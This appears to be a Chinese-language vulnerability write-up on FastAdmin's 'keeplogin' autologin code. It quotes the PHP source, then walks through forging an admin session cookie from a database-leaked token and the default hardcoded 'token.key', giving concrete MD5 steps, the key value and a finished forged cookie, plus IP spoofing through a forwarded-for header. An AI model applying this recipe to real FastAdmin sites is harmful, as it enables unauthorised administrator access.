Fastadmin
FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。
利用条件
在有数据库读权限的情况下(例如SQL注入),无法通过新增用户登录后台可利用逻辑伪造登录。
代码分析
在application/admin/controller/Index.php
中查看login
方法,其中有一段代码如下,
if ($this->auth->autologin()) {
Session::delete("referer");
$this->redirect($url);
}
跟进autologin()
,在application/admin/library/Auth.php
中找到autologin()
方法
public function autologin()
{
$keeplogin = Cookie::get('keeplogin');
if (!$keeplogin) {
return false;
}
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
$admin = Admin::get($id);
if (!$admin || !$admin->token) {
return false;
}
//token有变更
if ($key != $this->getKeeploginKey($admin, $keeptime, $expiretime)) {
return false;
}
$ip = request()->ip();
//IP有变动
if ($admin->loginip != $ip) {
return false;
}
Session::set("admin", $admin->toArray());
Session::set("admin.safecode", $this->getEncryptSafecode($admin));
//刷新自动登录的时效
$this->keeplogin($admin, $keeptime);
return true;
} else {
return false;
}
}
整个变量$keeplogin
处于可控状态,只需要满足函数getKeeploginKey
的返回值为真且IP与数据库中的IP一致即可。
跟进函数getKeeploginKey
public function getEncryptKeeplogin($params, $keeptime)
{
$expiretime = time() + $keeptime;
$key = md5(md5($params['id']) . md5($keeptime) . md5($expiretime) . $params['token'] . config('token.key'));
return implode('|', [$this->id, $keeptime, $expiretime, $key]);
}
这里两个值不可控,其中$params['token']
及config('token.key')
分别在数据库及配置文件中。
利用分析
我们仅需有数据库的读数据权限(往往是SQL注入漏洞获得)可尝试利用。
其余config('token.key')
在配置文件中为硬编码,在不修改的情况下可利用该逻辑伪造登录后台。
分析代码,确定利用方式如下
id-->11-->6512bd43d9caa6e02c990b0a82652dca
keeptime-->86400-->641bed6f12f5f0033edd3827deec6759
expiretime-->1728386749-->94ce8cac9f4abe2fc673bc9a48c8e3aa
token-->84430494-801e-4302-a032-c302ca0b3dfe
key-->6512bd43d9caa6e02c990b0a82652dca641bed6f12f5f0033edd3827deec675994ce8cac9f4abe2fc673bc9a48c8e3aa84430494-801e-4302-a032-c302ca0b3dfei0TzJlGnaCqvgWASw3ZN1kREY5DbO42I-->54cada4a0d23bf68e7b8dcc2e9eb6e6c
token.key-->i0TzJlGnaCqvgWASw3ZN1kREY5DbO42I
keeplogin-->11|86400|1728386749|54cada4a0d23bf68e7b8dcc2e9eb6e6c
得出keeplogin后添加到cookie,IP利用X-foward伪造即可。
本文首发于keye.wang,转载请注明出处。